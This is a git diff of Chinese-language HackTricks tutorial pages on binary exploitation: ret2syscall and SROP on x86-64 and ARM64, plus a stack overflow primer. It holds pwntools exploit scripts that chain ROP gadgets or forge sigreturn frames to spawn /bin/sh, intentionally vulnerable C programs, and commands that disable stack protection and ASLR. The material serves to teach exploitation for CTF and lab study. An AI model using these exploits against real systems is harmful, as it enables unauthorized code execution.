+* 64位，nx，无PIE，在某些内存中写入ROP以调用`execve`并跳转到那里。为了向栈中写入执行数学运算的函数被滥用。
+* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
+* 64位，无PIE，nx，BF canary，在某些内存中写入ROP以调用`execve`并跳转到那里。
+
+{% hint style="success" %}
+学习与实践AWS黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 8c863056e..341625c39 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -1,20 +1,21 @@
# Ret2syscall - ARM64
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：支持HackTricks
+ +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
-在以下位置找到arm64的介绍：
+在以下内容中找到 arm64 的介绍：
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
@@ -22,7 +23,7 @@
## 代码
-我们将使用以下页面中的示例：
+我们将使用页面中的示例：
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
@@ -45,20 +46,20 @@ vulnerable_function();
return 0;
}
```
-编译时禁用 PIE 和 Canary：
+编译时不使用 pie 和 canary：
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
-## 机器码片段
+## Gadgets
-为了准备**syscall**的调用，需要以下配置：
+为了准备对 **syscall** 的调用，需要以下配置：
-- `x8: 221 指定sys_execve`
-- `x0: 指向"/bin/sh"的指针，指定要执行的文件`
-- `x1: 0 指定不传递任何参数`
-- `x2: 0 指定不传递任何环境变量`
+* `x8: 221 指定 sys_execve`
+* `x0: 指向 "/bin/sh" 的指针，指定要执行的文件`
+* `x1: 0 指定不传递参数`
+* `x2: 0 指定不传递环境变量`
-使用ROPgadget.py，我能够在机器的libc库中找到以下机器码片段：
+使用 ROPgadget.py，我能够在机器的 libc 库中找到以下小工具：
{% code overflow="wrap" %}
```armasm
@@ -79,13 +80,13 @@ svc #0
```
{% endcode %}
-使用前面的gadget，我们可以从堆栈中控制所有需要的寄存器，并使用x5跳转到第二个gadget以调用syscall。
+通过之前的 gadgets，我们可以从栈中控制所有需要的寄存器，并使用 x5 跳转到第二个 gadget 来调用 syscall。
{% hint style="success" %}
-请注意，从libc库中了解这些信息也允许进行ret2libc攻击，但让我们将其用于当前的示例。
+请注意，了解来自 libc 库的信息也允许进行 ret2libc 攻击，但我们在当前示例中使用它。
{% endhint %}
-### 攻击利用
+### Exploit
```python
from pwn import *
@@ -134,16 +135,17 @@ p.sendline(payload)
p.interactive()
```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index d2bfdd1d2..b2e0070f7 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -1,38 +1,39 @@
# SROP - Sigreturn-Oriented Programming
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-其他支持HackTricks的方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 基本信息
-**`Sigreturn`** 是一个特殊的**系统调用**，主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了某些异常情况。当程序接收到信号时，它会暂时暂停当前工作，使用**信号处理程序**（专门设计用于处理信号的特殊函数）来处理信号。
+**`Sigreturn`** 是一种特殊的 **syscall**，主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了一些异常情况。当程序接收到信号时，它会暂时暂停当前工作，以通过 **信号处理程序** 处理信号，这是一种专门设计用于处理信号的函数。
-信号处理程序完成后，程序需要**恢复其先前状态**，就好像什么都没有发生一样。这就是**`sigreturn`**发挥作用的地方。它帮助程序**从信号处理程序返回**，通过清理被信号处理程序使用的栈帧（存储函数调用和局部变量的内存部分）来恢复程序的状态。
+在信号处理程序完成后，程序需要 **恢复其先前状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的栈帧（存储函数调用和局部变量的内存部分）来恢复程序的状态。
-有趣的部分是**`sigreturn`**如何恢复程序的状态：它通过将**CPU的所有寄存器值存储在栈上**来实现。当信号不再被阻塞时，**`sigreturn`从栈中弹出这些值**，有效地将CPU的寄存器重置为处理信号之前的状态。这包括栈指针寄存器（RSP），它指向栈的当前顶部。
+有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前栈顶的栈指针寄存器 (RSP)。
{% hint style="danger" %}
-从ROP链中调用系统调用**`sigreturn`**，并在**栈**中**添加要加载的寄存器值**，可以**控制**所有寄存器值，从而例如**调用**系统调用`execve`并执行`/bin/sh`。
+从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到栈中的寄存器值**，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 与 `/bin/sh`。
{% endhint %}
-请注意，这将是一种更容易控制参数以调用其他Ret2syscalls的**Ret2syscall**类型：
+注意这将是一种 **Ret2syscall** 类型，使得控制参数以调用其他 Ret2syscalls 变得更加容易：
{% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %}
-如果您感兴趣，这是存储在栈中以后恢复值的**sigcontext结构**（来自[**这里**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)的图表）:
+如果你感兴趣，这是 **sigcontext 结构** 存储在栈中以便后续恢复值（图来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)）：
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -68,13 +69,13 @@
| __reserved | sigmask |
+--------------------+--------------------+
```
-为了更好地解释，请查看：
+为了更好的解释，请查看：
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## 示例
-您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)，其中通过ROP构造了对signeturn的调用（将rxa中的值设置为`0xf`），尽管这是从那里得到的最终利用：
+您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)，其中通过 ROP 构造对 signeturn 的调用（将值 `0xf` 放入 rxa），尽管这只是最终的利用：
```python
from pwn import *
@@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-请查看[**这里的漏洞**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)，二进制文件已经在调用`sigreturn`，因此不需要使用**ROP**构建它：
+检查[**此处的漏洞**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)，其中二进制文件已经调用了`sigreturn`，因此不需要使用**ROP**来构建它：
```python
from pwn import *
@@ -134,31 +135,32 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
-## 其他示例和参考资料
+## 其他示例与参考
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
-* 允许**向堆栈写入**并调用**`sigreturn`**系统调用的汇编二进制文件。可以通过**sigreturn**结构在堆栈上写入[**ret2syscall**](../rop-syscall-execv/)，并读取存储在二进制文件内存中的标志。
+* 允许**写入栈**的汇编二进制文件，然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/)，并读取二进制内存中的标志。
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
-* 允许**向堆栈写入**并调用**`sigreturn`**系统调用的汇编二进制文件。可以通过**sigreturn**结构在堆栈上写入[**ret2syscall**](../rop-syscall-execv/)（二进制文件包含字符串`/bin/sh`）。
+* 允许**写入栈**的汇编二进制文件，然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/)（该二进制文件包含字符串`/bin/sh`）。
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
-* 64位，无relro，无canary，nx，无pie。利用`gets`函数的简单缓冲区溢出，缺少执行[**ret2syscall**](../rop-syscall-execv/)的gadgets。ROP链通过再次调用gets在`.bss`中写入`/bin/sh`，利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行shell。
+* 64位，无relro，无canary，nx，无pie。简单的缓冲区溢出，利用`gets`函数，缺乏执行[**ret2syscall**](../rop-syscall-execv/)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`，利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
-* 64位汇编程序，无relro，无canary，nx，无pie。该流程允许在堆栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。所选的系统调用是`sigreturn`，将设置寄存器并将`eip`移动到调用先前系统调用指令的位置，并运行`memprotect`以将二进制空间设置为`rwx`并将ESP设置在二进制空间中。按照流程，程序将再次调用ESP读取，但在这种情况下，ESP将指向下一条指令，因此传递shellcode将将其写入为下一条指令并执行它。
+* 64位汇编程序，无relro，无canary，nx，无pie。流程允许在栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。所选的系统调用是`sigreturn`，它将设置寄存器并移动`eip`以调用先前的系统调用指令并运行`memprotect`以将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程，程序将再次调用read到ESP，但在这种情况下ESP将指向下一个指令，因此传递一个shellcode将其写为下一个指令并执行。
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
-* 使用SROP将执行权限（memprotect）授予放置shellcode的位置。
+* SROP用于为放置shellcode的地方提供执行权限（memprotect）。
+
+{% hint style="success" %}
+学习与实践AWS黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index 1ababe195..66ebb3cd7 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -1,22 +1,23 @@
# SROP - ARM64
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
-## Pwntools示例
+## Pwntools 示例
-此示例创建了一个易受攻击的二进制文件并利用它。该二进制文件**读取到堆栈**，然后调用**`sigreturn`**：
+此示例创建了易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**：
```python
from pwn import *
@@ -44,7 +45,7 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
-## 缓冲区溢出示例
+## bof 示例
### 代码
```c
@@ -79,14 +80,14 @@ do_stuff(2);
return 0;
}
```
-使用以下命令进行编译：
+用以下命令编译：
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
-## 攻击
+## Exploit
-该攻击利用缓冲区溢出漏洞返回到对 **`sigreturn`** 的调用，并准备栈以调用带有指向 `/bin/sh` 的指针的 **`execve`**。
+该漏洞利用缓冲区溢出返回到对 **`sigreturn`** 的调用，并准备堆栈以调用 **`execve`**，指向 `/bin/sh`。
```python
from pwn import *
@@ -115,7 +116,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-## 没有 sigreturn 的 bof 示例
+## bof 示例，无需 sigreturn
### 代码
```c
@@ -142,13 +143,13 @@ char* b = gen_stack();
return 0;
}
```
-## 攻击
+## Exploit
-在**`vdso`**部分，可以在偏移**`0x7b0`**找到对**`sigreturn`**的调用：
+在**`vdso`**部分，可以在偏移量**`0x7b0`**找到对**`sigreturn`**的调用：
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-其他支持HackTricks的方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/README.md b/binary-exploitation/stack-overflow/README.md
index 32cdebde6..290f99eee 100644
--- a/binary-exploitation/stack-overflow/README.md
+++ b/binary-exploitation/stack-overflow/README.md
@@ -1,30 +1,31 @@
-# 栈溢出
+# Stack Overflow
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：支持 HackTricks
+ +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
## 什么是栈溢出
-**栈溢出**是一种漏洞，当程序向栈写入的数据超过其分配的空间时发生。这些多余的数据将**覆盖相邻的内存空间**，导致有效数据的损坏，控制流的中断，以及潜在地执行恶意代码。这个问题通常是由于使用不执行输入边界检查的不安全函数而引起的。
+**栈溢出**是一种漏洞，当程序向栈中写入的数据超过其分配的容量时，就会发生这种情况。这些多余的数据将**覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的，这些函数对输入不进行边界检查。
-这种覆盖的主要问题在于**保存的指令指针（EIP/RIP）**和**保存的基指针（EBP/RBP）**用于返回到前一个函数的位置是**存储在栈上**的。因此，攻击者可以覆盖这些内容并**控制程序的执行流程**。
+这个覆盖的主要问题是**保存的指令指针 (EIP/RIP)** 和**保存的基指针 (EBP/RBP)** 用于返回到上一个函数，这些信息是**存储在栈上的**。因此，攻击者将能够覆盖这些信息并**控制程序的执行流**。
-这种漏洞通常是因为一个函数**在栈内复制的字节数超过了为其分配的数量**，因此能够覆盖栈的其他部分。
+该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**，因此能够覆盖栈的其他部分。
-一些常见的容易受到影响的函数包括：**`strcpy`、`strcat`、`sprintf`、`gets`**... 同样，像**`fgets`**、**`read`**和**`memcpy`**这样带有**长度参数**的函数，如果指定的长度大于分配的长度，可能会以一种易受攻击的方式使用。
+一些常见的易受攻击的函数包括：**`strcpy`, `strcat`, `sprintf`, `gets`**... 此外，像**`fgets`**、**`read`**和**`memcpy`**这样的函数，如果指定的长度大于分配的长度，可能会以脆弱的方式使用。
-例如，以下函数可能存在漏洞：
+例如，以下函数可能是脆弱的：
```c
void vulnerable() {
char buffer[128];
@@ -35,13 +36,13 @@ printf("You entered: %s\n", buffer);
```
### 寻找栈溢出偏移量
-发现栈溢出最常见的方法是输入大量的 `A`（例如 `python3 -c 'print("A"*1000)'）并期望出现 `Segmentation Fault`，表明尝试访问地址 `0x41414141`。
+寻找栈溢出的最常见方法是输入大量的 `A`s（例如 `python3 -c 'print("A"*1000)'`），并期待出现 `Segmentation Fault`，这表明 **尝试访问了地址 `0x41414141`**。
-此外，一旦发现存在栈溢出漏洞，就需要找到偏移量，直到可以覆盖**返回地址**，为此通常使用**德布鲁因序列**。对于大小为 _k_ 的字母表和长度为 _n_ 的子序列，德布鲁因序列是一个**循环序列，其中每个可能的长度为 _n_ 的子序列**都恰好出现一次**作为一个连续的子序列。
+此外，一旦发现存在栈溢出漏洞，您需要找到偏移量，以便能够 **覆盖返回地址**，通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列，这是一个 **循环序列，其中每个可能的长度为 \_n**\_\*\* 的子序列恰好出现一次\*\* 作为连续子序列。
-这样，不需要手动找出控制 EIP 所需的偏移量，可以使用其中一个这些序列作为填充，然后找到最终覆盖它的字节的偏移量。
+这样，您就不需要手动找出控制 EIP 所需的偏移量，而是可以使用这些序列中的一个作为填充，然后找到覆盖它的字节的偏移量。
-可以使用**pwntools**来实现这一点：
+可以使用 **pwntools** 来实现这一点：
```python
from pwn import *
@@ -53,7 +54,7 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
-或者 **GEF**：
+或 **GEF**：
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
@@ -62,30 +63,30 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## 利用栈溢出
-在溢出时（假设溢出大小足够大），您将能够**覆盖**栈内部的局部变量的值，直到达到保存的**EBP/RBP和EIP/RIP（甚至更多）**。\
-滥用这种类型的漏洞最常见的方法是通过**修改返回地址**，因此当函数结束时，**控制流将被重定向到用户在指针中指定的位置**。
+在溢出期间（假设溢出大小足够大），您将能够**覆盖**栈内局部变量的值，直到达到保存的**EBP/RBP 和 EIP/RIP（甚至更多）**。\
+滥用这种类型漏洞的最常见方法是**修改返回地址**，这样当函数结束时，**控制流将被重定向到用户在此指针中指定的任何位置**。
-然而，在其他情况下，也许只是**覆盖栈中的一些变量值**就足以进行利用（就像在简单的CTF挑战中一样）。
+然而，在其他场景中，仅仅**覆盖栈中某些变量的值**可能就足以进行利用（例如在简单的CTF挑战中）。
### Ret2win
-在这种类型的CTF挑战中，二进制文件中有一个**从未被调用的函数**，**您需要调用该函数才能获胜**。对于这些挑战，您只需要找到**覆盖返回地址的偏移量**，并找到要调用的函数的地址（通常会禁用[**ASLR**](../common-binary-protections-and-bypasses/aslr/)），因此当易受攻击的函数返回时，隐藏函数将被调用：
+在这种类型的CTF挑战中，二进制文件中有一个**函数**，**从未被调用**，而且**您需要调用它才能获胜**。对于这些挑战，您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**（通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/)会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
{% endcontent-ref %}
